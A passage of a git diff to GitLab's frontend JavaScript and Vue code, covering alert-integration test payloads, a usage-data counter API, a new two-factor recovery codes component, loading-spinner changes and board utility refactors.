+import service from '../services';
import { typeSet } from '../constants';
import {
updateStoreAfterIntegrationDelete,
@@ -37,6 +36,9 @@ export default {
'AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list.',
),
integrationRemoved: s__('AlertsIntegrations|The integration has been successfully removed.'),
+ alertSent: s__(
+ 'AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list.',
+ ),
},
components: {
// TODO: Will be removed in 13.7 as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/273657
@@ -44,10 +46,8 @@ export default {
GlLink,
GlSprintf,
IntegrationsList,
- SettingsFormOld,
- SettingsFormNew,
+ AlertSettingsForm,
},
- mixins: [glFeatureFlagsMixin()],
inject: {
generic: {
default: {},
@@ -93,6 +93,7 @@ export default {
data() {
return {
isUpdating: false,
+ testAlertPayload: null,
integrations: {},
currentIntegration: null,
};
@@ -101,25 +102,12 @@ export default {
loading() {
return this.$apollo.queries.integrations.loading;
},
- integrationsOptionsOld() {
- return [
- {
- name: s__('AlertSettings|HTTP endpoint'),
- type: s__('AlertsIntegrations|HTTP endpoint'),
- active: this.generic.active,
- },
- {
- name: s__('AlertSettings|External Prometheus'),
- type: s__('AlertsIntegrations|Prometheus'),
- active: this.prometheus.active,
- },
- ];
- },
canAddIntegration() {
return this.multiIntegrations || this.integrations?.list?.length < 2;
},
canManageOpsgenie() {
return (
+ this.opsgenie.active ||
this.integrations?.list?.every(({ active }) => active === false) ||
this.integrations?.list?.length === 0
);
@@ -149,6 +137,19 @@ export default {
if (error) {
return createFlash({ message: error });
}
+
+ if (this.testAlertPayload) {
+ const integration =
+ httpIntegrationCreate?.integration || prometheusIntegrationCreate?.integration;
+
+ const payload = {
+ ...this.testAlertPayload,
+ endpoint: integration.url,
+ token: integration.token,
+ };
+ return this.validateAlertPayload(payload);
+ }
+
return createFlash({
message: this.$options.i18n.changesSaved,
type: FLASH_TYPES.SUCCESS,
@@ -179,6 +180,13 @@ export default {
if (error) {
return createFlash({ message: error });
}
+
+ if (this.testAlertPayload) {
+ return this.validateAlertPayload();
+ }
+
+ this.clearCurrentIntegration();
+
return createFlash({
message: this.$options.i18n.changesSaved,
type: FLASH_TYPES.SUCCESS,
@@ -189,6 +197,7 @@ export default {
})
.finally(() => {
this.isUpdating = false;
+ this.testAlertPayload = null;
});
},
resetToken({ type, variables }) {
@@ -212,7 +221,13 @@ export default {
const integration =
httpIntegrationResetToken?.integration ||
prometheusIntegrationResetToken?.integration;
- this.currentIntegration = integration;
+
+ this.$apollo.mutate({
+ mutation: updateCurrentIntergrationMutation,
+ variables: {
+ ...integration,
+ },
+ });
return createFlash({
message: this.$options.i18n.changesSaved,
@@ -280,8 +295,21 @@ export default {
variables: {},
});
},
- testPayloadFailure() {
- createFlash({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
+ setTestAlertPayload(payload) {
+ this.testAlertPayload = payload;
+ },
+ validateAlertPayload(payload) {
+ return service
+ .updateTestAlert(payload ?? this.testAlertPayload)
+ .then(() => {
+ return createFlash({
+ message: this.$options.i18n.alertSent,
+ type: FLASH_TYPES.SUCCESS,
+ });
+ })
+ .catch(() => {
+ createFlash({ message: INTEGRATION_PAYLOAD_TEST_ERROR });
+ });
},
},
};
@@ -310,13 +338,12 @@ export default {
</gl-alert>
<integrations-list
v-else
- :integrations="glFeatures.httpIntegrationsList ? integrations.list : integrationsOptionsOld"
+ :integrations="integrations.list"
:loading="loading"
@edit-integration="editIntegration"
@delete-integration="deleteIntegration"
/>
- <settings-form-new
- v-if="glFeatures.httpIntegrationsList"
+ <alert-settings-form
:loading="isUpdating"
:can-add-integration="canAddIntegration"
:can-manage-opsgenie="canManageOpsgenie"
@@ -324,8 +351,7 @@ export default {
@update-integration="updateIntegration"
@reset-token="resetToken"
@clear-current-integration="clearCurrentIntegration"
- @test-payload-failure="testPayloadFailure"
+ @set-test-alert-payload="setTestAlertPayload"
/>
- <settings-form-old v-else />
</div>
</template>
diff --git a/app/assets/javascripts/alerts_settings/services/index.js b/app/assets/javascripts/alerts_settings/services/index.js
index 1835d6b46aa..e45ea772ddd 100644
--- a/app/assets/javascripts/alerts_settings/services/index.js
+++ b/app/assets/javascripts/alerts_settings/services/index.js
@@ -2,30 +2,9 @@
import axios from '~/lib/utils/axios_utils';
export default {
- // TODO: All this code save updateTestAlert will be deleted as part of: https://gitlab.com/gitlab-org/gitlab/-/issues/255501
- updateGenericKey({ endpoint, params }) {
- return axios.put(endpoint, params);
- },
- updatePrometheusKey({ endpoint }) {
- return axios.post(endpoint);
- },
updateGenericActive({ endpoint, params }) {
return axios.put(endpoint, params);
},
- updatePrometheusActive({ endpoint, params: { token, config, url, redirect } }) {
- const data = new FormData();
- data.set('_method', 'put');
- data.set('authenticity_token', token);
- data.set('service[manual_configuration]', config);
- data.set('service[api_url]', url);
- data.set('redirect_to', redirect);
-
- return axios.post(endpoint, data, {
- headers: {
- 'Content-Type': 'application/x-www-form-urlencoded',
- },
- });
- },
updateTestAlert({ endpoint, data, token }) {
return axios.post(endpoint, data, {
headers: {
diff --git a/app/assets/javascripts/analytics/instance_statistics/graphql/queries/count.fragment.graphql b/app/assets/javascripts/analytics/instance_statistics/graphql/queries/count.fragment.graphql
deleted file mode 100644
index 40cef95c2e7..00000000000
--- a/app/assets/javascripts/analytics/instance_statistics/graphql/queries/count.fragment.graphql
+++ /dev/null
@@ -1,4 +0,0 @@
-fragment Count on InstanceStatisticsMeasurement {
- count
- recordedAt
-}
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index f469f49ce20..8daccae3467 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -69,6 +69,7 @@ const Api = {
issuePath: '/api/:version/projects/:id/issues/:issue_iid',
tagsPath: '/api/:version/projects/:id/repository/tags',
freezePeriodsPath: '/api/:version/projects/:id/freeze_periods',
+ usageDataIncrementCounterPath: '/api/:version/usage_data/increment_counter',
usageDataIncrementUniqueUsersPath: '/api/:version/usage_data/increment_unique_users',
featureFlagUserLists: '/api/:version/projects/:id/feature_flags_user_lists',
featureFlagUserList: '/api/:version/projects/:id/feature_flags_user_lists/:list_iid',
@@ -389,7 +390,10 @@ const Api = {
params: { ...defaults, ...options },
})
.then(({ data }) => callback(data))
- .catch(() => flash(__('Something went wrong while fetching projects')));
+ .catch(() => {
+ flash(__('Something went wrong while fetching projects'));
+ callback();
+ });
},
commit(id, sha, params = {}) {
@@ -751,6 +755,19 @@ const Api = {
return axios.post(url, freezePeriod);
},
+ trackRedisCounterEvent(event) {
+ if (!gon.features?.usageDataApi) {
+ return null;
+ }
+
+ const url = Api.buildUrl(this.usageDataIncrementCounterPath);
+ const headers = {
+ 'Content-Type': 'application/json',
+ };
+
+ return axios.post(url, { event }, { headers });
+ },
+
trackRedisHllUserEvent(event) {
if (!gon.features?.usageDataApi) {
return null;
diff --git a/app/assets/javascripts/authentication/mount_2fa.js b/app/assets/javascripts/authentication/mount_2fa.js
index dd5a42fa5fc..6dead2f03db 100644
--- a/app/assets/javascripts/authentication/mount_2fa.js
+++ b/app/assets/javascripts/authentication/mount_2fa.js
@@ -13,11 +13,17 @@ export const mount2faAuthentication = () => {
};
export const mount2faRegistration = () => {
+ const el = $('#js-register-token-2fa');
+
+ if (!el.length) {
+ return;
+ }
+
if (gon.webauthn) {
- const webauthnRegister = new WebAuthnRegister($('#js-register-token-2fa'), gon.webauthn);
+ const webauthnRegister = new WebAuthnRegister(el, gon.webauthn);
webauthnRegister.start();
} else {
- const u2fRegister = new U2FRegister($('#js-register-token-2fa'), gon.u2f);
+ const u2fRegister = new U2FRegister(el, gon.u2f);
u2fRegister.start();
}
};
diff --git a/app/assets/javascripts/authentication/two_factor_auth/components/recovery_codes.vue b/app/assets/javascripts/authentication/two_factor_auth/components/recovery_codes.vue
new file mode 100644
index 00000000000..87502db8b82
--- /dev/null
+++ b/app/assets/javascripts/authentication/two_factor_auth/components/recovery_codes.vue
@@ -0,0 +1,174 @@
+<script>
+import Mousetrap from 'mousetrap';
+import { GlSprintf, GlButton, GlAlert } from '@gitlab/ui';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import Tracking from '~/tracking';
+import { __ } from '~/locale';
+import {
+ COPY_BUTTON_ACTION,
+ DOWNLOAD_BUTTON_ACTION,
+ PRINT_BUTTON_ACTION,
+ TRACKING_LABEL_PREFIX,
+ RECOVERY_CODE_DOWNLOAD_FILENAME,
+ COPY_KEYBOARD_SHORTCUT,
+} from '../constants';
+
+export const i18n = {
+ pageTitle: __('Two-factor Authentication Recovery codes'),
+ alertTitle: __('Please copy, download, or print your recovery codes before proceeding.'),
+ pageDescription: __(
+ 'Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account.',
+ ),
+ copyButton: __('Copy codes'),
+ downloadButton: __('Download codes'),
+ printButton: __('Print codes'),
+ proceedButton: __('Proceed'),
+};
+
+export default {
+ name: 'RecoveryCodes',
+ copyButtonAction: COPY_BUTTON_ACTION,
+ downloadButtonAction: DOWNLOAD_BUTTON_ACTION,
+ printButtonAction: PRINT_BUTTON_ACTION,
+ trackingLabelPrefix: TRACKING_LABEL_PREFIX,
+ recoveryCodeDownloadFilename: RECOVERY_CODE_DOWNLOAD_FILENAME,
+ i18n,
+ mousetrap: null,
+ components: { GlSprintf, GlButton, GlAlert, ClipboardButton },
+ mixins: [Tracking.mixin()],
+ props: {
+ codes: {
+ type: Array,
+ required: true,
+ },
+ profileAccountPath: {
+ type: String,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ proceedButtonDisabled: true,
+ };
+ },
+ computed: {
+ codesAsString() {
+ return this.codes.join('\n');
+ },
+ codeDownloadUrl() {
+ return `data:text/plain;charset=utf-8,${encodeURIComponent(this.codesAsString)}`;
+ },
+ },
+ created() {
+ this.$options.mousetrap = new Mousetrap();
+
+ this.$options.mousetrap.bind(COPY_KEYBOARD_SHORTCUT, this.handleKeyboardCopy);
+ },
+ beforeDestroy() {
+ if (!this.$options.mousetrap) {
+ return;
+ }
+
+ this.$options.mousetrap.unbind(COPY_KEYBOARD_SHORTCUT);
+ },
+ methods: {
+ handleButtonClick(action) {
+ this.proceedButtonDisabled = false;
+
+ if (action === this.$options.printButtonAction) {
+ window.print();
+ }
+
+ this.track('click_button', { label: `${this.$options.trackingLabelPrefix}${action}_button` });
+ },
+ handleKeyboardCopy() {
+ if (!window.getSelection) {
+ return;
+ }
+
+ const copiedText = window.getSelection().toString();
+
+ if (copiedText.includes(this.codesAsString)) {
+ this.proceedButtonDisabled = false;
+ this.track('copy_keyboard_shortcut', {
+ label: `${this.$options.trackingLabelPrefix}manual_copy`,
+ });
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <h3 class="page-title">
+ {{ $options.i18n.pageTitle }}
+ </h3>
+ <hr />
+ <gl-alert variant="info" :dismissible="false">
+ {{ $options.i18n.alertTitle }}
+ </gl-alert>
+ <p class="gl-mt-5">
+ <gl-sprintf :message="$options.i18n.pageDescription">
+ <template #bold="{ content }"
+ ><strong>{{ content }}</strong></template
+ >
+ </gl-sprintf>
+ </p>
+
+ <div
+ class="codes-to-print gl-my-5 gl-p-5 gl-border-solid gl-border-1 gl-border-gray-100 gl-rounded-base"
+ data-testid="recovery-codes"
+ data-qa-selector="codes_content"
+ >
+ <ul class="gl-m-0 gl-pl-5">
+ <li v-for="(code, index) in codes" :key="index">
+ <span class="gl-font-monospace" data-qa-selector="code_content">{{ code }}</span>
+ </li>
+ </ul>
+ </div>
+ <div class="gl-my-n2 gl-mx-n2 gl-display-flex gl-flex-wrap">
+ <div class="gl-p-2">
+ <clipboard-button
+ :title="$options.i18n.copyButton"
+ :text="codesAsString"
+ data-qa-selector="copy_button"
+ @click="handleButtonClick($options.copyButtonAction)"
+ >
+ {{ $options.i18n.copyButton }}
+ </clipboard-button>
+ </div>
+ <div class="gl-p-2">
+ <gl-button
+ :href="codeDownloadUrl"
+ :title="$options.i18n.downloadButton"
+ icon="download"
+ :download="$options.recoveryCodeDownloadFilename"
+ @click="handleButtonClick($options.downloadButtonAction)"
+ >
+ {{ $options.i18n.downloadButton }}
+ </gl-button>
+ </div>
+ <div class="gl-p-2">
+ <gl-button
+ :title="$options.i18n.printButton"
+ @click="handleButtonClick($options.printButtonAction)"
+ >
+ {{ $options.i18n.printButton }}
+ </gl-button>
+ </div>
+ <div class="gl-p-2">
+ <gl-button
+ :href="profileAccountPath"
+ :disabled="proceedButtonDisabled"
+ :title="$options.i18n.proceedButton"
+ variant="success"
+ data-qa-selector="proceed_button"
+ data-track-event="click_button"
+ :data-track-label="`${$options.trackingLabelPrefix}proceed_button`"
+ >{{ $options.i18n.proceedButton }}</gl-button
+ >
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/authentication/two_factor_auth/constants.js b/app/assets/javascripts/authentication/two_factor_auth/constants.js
new file mode 100644
index 00000000000..35fc49c88b2
--- /dev/null
+++ b/app/assets/javascripts/authentication/two_factor_auth/constants.js
@@ -0,0 +1,11 @@
+export const COPY_BUTTON_ACTION = 'copy';
+export const DOWNLOAD_BUTTON_ACTION = 'download';
+export const PRINT_BUTTON_ACTION = 'print';
+
+export const TRACKING_LABEL_PREFIX = '2fa_recovery_codes_';
+
+export const RECOVERY_CODE_DOWNLOAD_FILENAME = 'gitlab-recovery-codes.txt';
+
+export const SUCCESS_QUERY_PARAM = 'two_factor_auth_enabled_successfully';
+
+export const COPY_KEYBOARD_SHORTCUT = 'mod+c';
diff --git a/app/assets/javascripts/authentication/two_factor_auth/index.js b/app/assets/javascripts/authentication/two_factor_auth/index.js
new file mode 100644
index 00000000000..5e59c44e8cd
--- /dev/null
+++ b/app/assets/javascripts/authentication/two_factor_auth/index.js
@@ -0,0 +1,46 @@
+import Vue from 'vue';
+import { updateHistory, removeParams } from '~/lib/utils/url_utility';
+import RecoveryCodes from './components/recovery_codes.vue';
+import { SUCCESS_QUERY_PARAM } from './constants';
+
+export const initRecoveryCodes = () => {
+ const el = document.querySelector('.js-2fa-recovery-codes');
+
+ if (!el) {
+ return false;
+ }
+
+ const { codes = '[]', profileAccountPath = '' } = el.dataset;
+
+ return new Vue({
+ el,
+ render(createElement) {
+ return createElement(RecoveryCodes, {
+ props: {
+ codes: JSON.parse(codes),
+ profileAccountPath,
+ },
+ });
+ },
+ });
+};
+
+export const initClose2faSuccessMessage = () => {
+ const closeButton = document.querySelector('.js-close-2fa-enabled-success-alert');
+
+ if (!closeButton) {
+ return;
+ }
+
+ closeButton.addEventListener(
+ 'click',
+ () => {
+ updateHistory({
+ url: removeParams([SUCCESS_QUERY_PARAM]),
+ title: document.title,
+ replace: true,
+ });
+ },
+ { once: true },
+ );
+};
diff --git a/app/assets/javascripts/autosave.js b/app/assets/javascripts/autosave.js
index 5f50fcc112e..0a05e0d44ce 100644
--- a/app/assets/javascripts/autosave.js
+++ b/app/assets/javascripts/autosave.js
@@ -74,6 +74,7 @@ export default class Autosave {
}
dispose() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.field.off('input');
}
}
diff --git a/app/assets/javascripts/awards_handler.js b/app/assets/javascripts/awards_handler.js
index 17e6255700a..d937060536a 100644
--- a/app/assets/javascripts/awards_handler.js
+++ b/app/assets/javascripts/awards_handler.js
@@ -596,6 +596,7 @@ export class AwardsHandler {
hideMenuElement($emojiMenu) {
$emojiMenu.on(transitionEndEventString, e => {
if (e.currentTarget === e.target) {
+ // eslint-disable-next-line @gitlab/no-global-event-off
$emojiMenu.removeClass(IS_RENDERED).off(transitionEndEventString);
}
});
diff --git a/app/assets/javascripts/badges/components/badge.vue b/app/assets/javascripts/badges/components/badge.vue
index 0b8c6aff219..c3512773457 100644
--- a/app/assets/javascripts/badges/components/badge.vue
+++ b/app/assets/javascripts/badges/components/badge.vue
@@ -84,7 +84,7 @@ export default {
<div v-show="hasError" class="btn-group">
<div class="btn btn-default btn-sm disabled">
- <gl-icon :size="16" class="gl-ml-3 gl-mr-3" name="doc-image" aria-hidden="true" />
+ <gl-icon :size="16" class="gl-ml-3 gl-mr-3" name="doc-image" />
</div>
<div class="btn btn-default btn-sm disabled">
<span class="gl-ml-3 gl-mr-3">{{ s__('Badges|No badge image') }}</span>
diff --git a/app/assets/javascripts/behaviors/select2.js b/app/assets/javascripts/behaviors/select2.js
index 37b75bb5e56..1f222d8c1f6 100644
--- a/app/assets/javascripts/behaviors/select2.js
+++ b/app/assets/javascripts/behaviors/select2.js
@@ -1,22 +1,29 @@
import $ from 'jquery';
+import { loadCSSFile } from '../lib/utils/css_utils';
export default () => {
- if ($('select.select2').length) {
+ const $select2Elements = $('select.select2');
+ if ($select2Elements.length) {
import(/* webpackChunkName: 'select2' */ 'select2/select2')
.then(() => {
- $('select.select2').select2({
- width: 'resolve',
- minimumResultsForSearch: 10,
- dropdownAutoWidth: true,
- });
+ // eslint-disable-next-line promise/no-nesting
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $select2Elements.select2({
+ width: 'resolve',
+ minimumResultsForSearch: 10,
+ dropdownAutoWidth: true,
+ });
- // Close select2 on escape
- $('.js-select2').on('select2-close', () => {
- setTimeout(() => {
- $('.select2-container-active').removeClass('select2-container-active');
- $(':focus').blur();
- }, 1);
- });
+ // Close select2 on escape
+ $('.js-select2').on('select2-close', () => {
+ requestAnimationFrame(() => {
+ $('.select2-container-active').removeClass('select2-container-active');
+ $(':focus').blur();
+ });
+ });
+ })
+ .catch(() => {});
})
.catch(() => {});
}
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
index a53150f8d61..c0f67923191 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts.js
@@ -97,6 +97,7 @@ export default class Shortcuts {
e.preventDefault();
});
+ // eslint-disable-next-line @gitlab/no-global-event-off
$('.js-shortcuts-modal-trigger')
.off('click')
.on('click', this.onToggleHelp);
diff --git a/app/assets/javascripts/blob/components/blob_header_viewer_switcher.vue b/app/assets/javascripts/blob/components/blob_header_viewer_switcher.vue
index 902dd0b8eec..a5b594fbd88 100644
--- a/app/assets/javascripts/blob/components/blob_header_viewer_switcher.vue
+++ b/app/assets/javascripts/blob/components/blob_header_viewer_switcher.vue
@@ -50,7 +50,6 @@ export default {
:aria-label="$options.SIMPLE_BLOB_VIEWER_TITLE"
:title="$options.SIMPLE_BLOB_VIEWER_TITLE"
:selected="isSimpleViewer"
- :class="{ active: isSimpleViewer }"
icon="code"
category="primary"
variant="default"
@@ -61,7 +60,6 @@ export default {
:aria-label="$options.RICH_BLOB_VIEWER_TITLE"
:title="$options.RICH_BLOB_VIEWER_TITLE"
:selected="isRichViewer"
- :class="{ active: isRichViewer }"
icon="document"
category="primary"
variant="default"
diff --git a/app/assets/javascripts/blob/file_template_mediator.js b/app/assets/javascripts/blob/file_template_mediator.js
index 5058ca7122d..8f64bda1ba6 100644
--- a/app/assets/javascripts/blob/file_template_mediator.js
+++ b/app/assets/javascripts/blob/file_template_mediator.js
@@ -82,7 +82,6 @@ export default class FileTemplateMediator {
initPageEvents() {
this.listenForFilenameInput();
- this.prepFileContentForSubmit();
this.listenForPreviewMode();
}
@@ -92,12 +91,6 @@ export default class FileTemplateMediator {
});
}
- prepFileContentForSubmit() {
- this.$commitForm.submit(() => {
- this.$fileContent.val(this.editor.getValue());
- });
- }
-
listenForPreviewMode() {
this.$navLinks.on('click', 'a', e => {
const urlPieces = e.target.href.split('#');
diff --git a/app/assets/javascripts/blob/file_template_selector.js b/app/assets/javascripts/blob/file_template_selector.js
index bd39aa2e16f..2532aeea989 100644
--- a/app/assets/javascripts/blob/file_template_selector.js
+++ b/app/assets/javascripts/blob/file_template_selector.js
@@ -12,7 +12,10 @@ export default class FileTemplateSelector {
this.$dropdown = $(cfg.dropdown);
this.$wrapper = $(cfg.wrapper);
- this.$loadingIcon = this.$wrapper.find('.fa-chevron-down');
+ this.$dropdownIcon = this.$wrapper.find('.dropdown-menu-toggle-icon');
+ this.$loadingIcon = $(
+ '<div class="gl-spinner gl-spinner-orange gl-spinner-sm gl-absolute gl-top-3 gl-right-3 gl-display-none"></div>',
+ ).insertAfter(this.$dropdownIcon);
this.$dropdownToggleText = this.$wrapper.find('.dropdown-toggle-text');
this.initDropdown();
@@ -45,15 +48,13 @@ export default class FileTemplateSelector {
}
renderLoading() {
- this.$loadingIcon
- .addClass('gl-spinner gl-spinner-orange gl-spinner-sm')
- .removeClass('fa-chevron-down');
+ this.$loadingIcon.removeClass('gl-display-none');
+ this.$dropdownIcon.addClass('gl-display-none');
}
renderLoaded() {
- this.$loadingIcon
- .addClass('fa-chevron-down')
- .removeClass('gl-spinner gl-spinner-orange gl-spinner-sm');
+ this.$loadingIcon.addClass('gl-display-none');
+ this.$dropdownIcon.removeClass('gl-display-none');
}
reportSelection(options) {
diff --git a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
index 06f436adb8e..6fee40fb061 100644
--- a/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
+++ b/app/assets/javascripts/blob/suggest_gitlab_ci_yml/components/popover.vue
@@ -107,7 +107,7 @@ export default {
v-if="!popoverDismissed"
show
:target="target"
- placement="rightbottom"
+ placement="right"
trigger="manual"
container="viewport"
:css-classes="['suggest-gitlab-ci-yml', 'ml-4']"
diff --git a/app/assets/javascripts/blob/template_selector.js b/app/assets/javascripts/blob/template_selector.js
index 257458138dc..ae9bb3455f0 100644
--- a/app/assets/javascripts/blob/template_selector.js
+++ b/app/assets/javascripts/blob/template_selector.js
@@ -10,7 +10,10 @@ export default class TemplateSelector {
this.dropdown = dropdown;
this.$dropdownContainer = wrapper;
this.$filenameInput = $input || $('#file_name');
- this.$dropdownIcon = $('.fa-chevron-down', dropdown);
+ this.$dropdownIcon = $('.dropdown-menu-toggle-icon', dropdown);
+ this.$loadingIcon = $(
+ '<div class="gl-spinner gl-spinner-orange gl-spinner-sm gl-absolute gl-top-3 gl-right-3 gl-display-none"></div>',
+ ).insertAfter(this.$dropdownIcon);
this.initDropdown(dropdown, data);
this.listenForFilenameInput();
@@ -92,10 +95,12 @@ export default class TemplateSelector {
}
startLoadingSpinner() {
- this.$dropdownIcon.addClass('spinner').removeClass('fa-chevron-down');
+ this.$loadingIcon.removeClass('gl-display-none');
+ this.$dropdownIcon.addClass('gl-display-none');
}
stopLoadingSpinner() {
- this.$dropdownIcon.addClass('fa-chevron-down').removeClass('spinner');
+ this.$loadingIcon.addClass('gl-display-none');
+ this.$dropdownIcon.removeClass('gl-display-none');
}
}
diff --git a/app/assets/javascripts/blob/viewer/index.js b/app/assets/javascripts/blob/viewer/index.js
index aa76364c466..01350acad0c 100644
--- a/app/assets/javascripts/blob/viewer/index.js
+++ b/app/assets/javascripts/blob/viewer/index.js
@@ -132,16 +132,16 @@ export default class BlobViewer {
const newViewer = this.$fileHolder[0].querySelector(`.blob-viewer[data-type='${name}']`);
if (this.activeViewer === newViewer) return;
- const oldButton = document.querySelector('.js-blob-viewer-switch-btn.active');
+ const oldButton = document.querySelector('.js-blob-viewer-switch-btn.selected');
const newButton = document.querySelector(`.js-blob-viewer-switch-btn[data-viewer='${name}']`);
const oldViewer = this.$fileHolder[0].querySelector(`.blob-viewer:not([data-type='${name}'])`);
if (oldButton) {
- oldButton.classList.remove('active');
+ oldButton.classList.remove('selected');
}
if (newButton) {
- newButton.classList.add('active');
+ newButton.classList.add('selected');
newButton.blur();
}
diff --git a/app/assets/javascripts/blob_edit/blob_bundle.js b/app/assets/javascripts/blob_edit/blob_bundle.js
index f84e39baa53..678044687a9 100644
--- a/app/assets/javascripts/blob_edit/blob_bundle.js
+++ b/app/assets/javascripts/blob_edit/blob_bundle.js
@@ -38,9 +38,20 @@ const initPopovers = () => {
}
};
+export const initUploadForm = () => {
+ const uploadBlobForm = $('.js-upload-blob-form');
+ if (uploadBlobForm.length) {
+ const method = uploadBlobForm.data('method');
+
+ new BlobFileDropzone(uploadBlobForm, method);
+ new NewCommitForm(uploadBlobForm);
+
+ disableButtonIfEmptyField(uploadBlobForm.find('.js-commit-message'), '.btn-upload-file');
+ }
+};
+
export default () => {
const editBlobForm = $('.js-edit-blob-form');
- const uploadBlobForm = $('.js-upload-blob-form');
const deleteBlobForm = $('.js-delete-blob-form');
if (editBlobForm.length) {
@@ -80,14 +91,7 @@ export default () => {
window.onbeforeunload = () => '';
}
- if (uploadBlobForm.length) {
- const method = uploadBlobForm.data('method');
-
- new BlobFileDropzone(uploadBlobForm, method);
- new NewCommitForm(uploadBlobForm);
-
- disableButtonIfEmptyField(uploadBlobForm.find('.js-commit-message'), '.btn-upload-file');
- }
+ initUploadForm();
if (deleteBlobForm.length) {
new NewCommitForm(deleteBlobForm);
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index e6b0a6fc1c5..1bc51aa1d6f 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -5,7 +5,8 @@ import { BLOB_EDITOR_ERROR, BLOB_PREVIEW_ERROR } from './constants';
import TemplateSelectorMediator from '../blob/file_template_mediator';
import { addEditorMarkdownListeners } from '~/lib/utils/text_markdown';
import EditorLite from '~/editor/editor_lite';
-import FileTemplateExtension from '~/editor/editor_file_template_ext';
+import { FileTemplateExtension } from '~/editor/editor_file_template_ext';
+import { insertFinalNewline } from '~/lib/utils/text_utility';
export default class EditBlob {
// The options object has:
@@ -16,11 +17,11 @@ export default class EditBlob {
if (this.options.isMarkdown) {
import('~/editor/editor_markdown_ext')
- .then(MarkdownExtension => {
- this.editor.use(MarkdownExtension.default);
+ .then(({ EditorMarkdownExtension: MarkdownExtension } = {}) => {
+ this.editor.use(new MarkdownExtension());
addEditorMarkdownListeners(this.editor);
})
- .catch(() => createFlash(BLOB_EDITOR_ERROR));
+ .catch(e => createFlash(`${BLOB_EDITOR_ERROR}: ${e}`));
}
this.initModePanesAndLinks();
@@ -42,14 +43,14 @@ export default class EditBlob {
blobPath: fileNameEl.value,
blobContent: editorEl.innerText,
});
- this.editor.use(FileTemplateExtension);
+ this.editor.use(new FileTemplateExtension());
fileNameEl.addEventListener('change', () => {
this.editor.updateModelLanguage(fileNameEl.value);
});
form.addEventListener('submit', () => {
- fileContentEl.value = this.editor.getValue();
+ fileContentEl.value = insertFinalNewline(this.editor.getValue());
});
}
diff --git a/app/assets/javascripts/boards/boards_util.js b/app/assets/javascripts/boards/boards_util.js
index 6b7b0c2e28d..e5ff41dab74 100644
--- a/app/assets/javascripts/boards/boards_util.js
+++ b/app/assets/javascripts/boards/boards_util.js
@@ -1,31 +1,39 @@
import { sortBy } from 'lodash';
-import ListIssue from 'ee_else_ce/boards/models/issue';
+import axios from '~/lib/utils/axios_utils';
import { ListType } from './constants';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import boardsStore from '~/boards/stores/boards_store';
export function getMilestone() {
return null;
}
+export function updateListPosition(listObj) {
+ const { listType } = listObj;
+ let { position } = listObj;
+ if (listType === ListType.closed) {
+ position = Infinity;
+ } else if (listType === ListType.backlog) {
+ position = -Infinity;
+ }
+
+ return { ...listObj, position };
+}
+
export function formatBoardLists(lists) {
- const formattedLists = lists.nodes.map(list =>
- boardsStore.updateListPosition({ ...list, doNotFetchIssues: true }),
- );
- return formattedLists.reduce((map, list) => {
+ return lists.nodes.reduce((map, list) => {
return {
...map,
- [list.id]: list,
+ [list.id]: updateListPosition(list),
};
}, {});
}
export function formatIssue(issue) {
- return new ListIssue({
+ return {
...issue,
labels: issue.labels?.nodes || [],
assignees: issue.assignees?.nodes || [],
- });
+ };
}
export function formatListIssues(listIssues) {
@@ -44,12 +52,12 @@ export function formatListIssues(listIssues) {
[list.id]: sortedIssues.map(i => {
const id = getIdFromGraphQLId(i.id);
- const listIssue = new ListIssue({
+ const listIssue = {
...i,
id,
labels: i.labels?.nodes || [],
assignees: i.assignees?.nodes || [],
- });
+ };
issues[id] = listIssue;
@@ -83,21 +91,48 @@ export function fullLabelId(label) {
}
export function moveIssueListHelper(issue, fromList, toList) {
- if (toList.type === ListType.label) {
- issue.addLabel(toList.label);
+ const updatedIssue = issue;
+ if (
+ toList.listType === ListType.label &&
+ !updatedIssue.labels.find(label => label.id === toList.label.id)
+ ) {
+ updatedIssue.labels.push(toList.label);
}
- if (fromList && fromList.type === ListType.label) {
- issue.removeLabel(fromList.label);
+ if (fromList?.label && fromList.listType === ListType.label) {
+ updatedIssue.labels = updatedIssue.labels.filter(label => fromList.label.id !== label.id);
}
- if (toList.type === ListType.assignee) {
- issue.addAssignee(toList.assignee);
+ if (
+ toList.listType === ListType.assignee &&
+ !updatedIssue.assignees.find(assignee => assignee.id === toList.assignee.id)
+ ) {
+ updatedIssue.assignees.push(toList.assignee);
+ }
+ if (fromList?.assignee && fromList.listType === ListType.assignee) {
+ updatedIssue.assignees = updatedIssue.assignees.filter(
+ assignee => assignee.id !== fromList.assignee.id,
+ );
}
- if (fromList && fromList.type === ListType.assignee) {
- issue.removeAssignee(fromList.assignee);
+
+ return updatedIssue;
+}
+
+export function getBoardsPath(endpoint, board) {
+ const path = `${endpoint}${board.id ? `/${board.id}` : ''}.json`;
+
+ if (board.id) {
+ return axios.put(path, { board });
}
+ return axios.post(path, { board });
+}
+
+export function isListDraggable(list) {
+ return list.listType !== ListType.backlog && list.listType !== ListType.closed;
+}
- return issue;
